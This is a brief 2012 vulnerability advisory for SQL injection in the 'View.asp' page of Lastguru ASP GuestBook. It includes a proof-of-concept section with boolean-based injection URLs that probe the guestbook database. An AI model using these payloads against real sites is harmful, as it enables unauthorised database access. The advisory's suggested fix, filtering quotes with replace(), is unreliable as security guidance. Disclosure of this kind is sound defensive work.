Lastguru ASP GuestBook 'View.asp' - SQL Injection Vulnerability

Title: Lastguru ASP GuestBook 'View.asp' - SQL Injection Vulnerability

Product : Lastguru ASP GuestBook

Version : Free Version

Vendor: http://www.LastGuru.com

Class: Input Validation Error

CVE:

Remote: Yes

Local: No

Published: 2012-03-04

Updated:

Impact : Medium (CVSSv2 Base : 7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P)

Bug Description :
Page 'View.asp' of Lastguru ASP GuestBook(Free Version) is vulnerable with SQL Injection Vulnerability.

POC:
#-------------------------------------------------------------
http://victim/[email protected]' and 'a'='a
http://victim/[email protected]' and 'a'='b
http://victim/[email protected]&#39; and 0<(select count(*) from [book]) and 'a'='a
etc…
#-------------------------------------------------------------

Advice:
Use 'replace()' for filtering single quote and other dangerous symbols.

Credits : This vulnerability was discovered by [email protected]
mail: [email protected] / [email protected]
Pentester/Researcher
Dark2S Security Team/PolyU.HK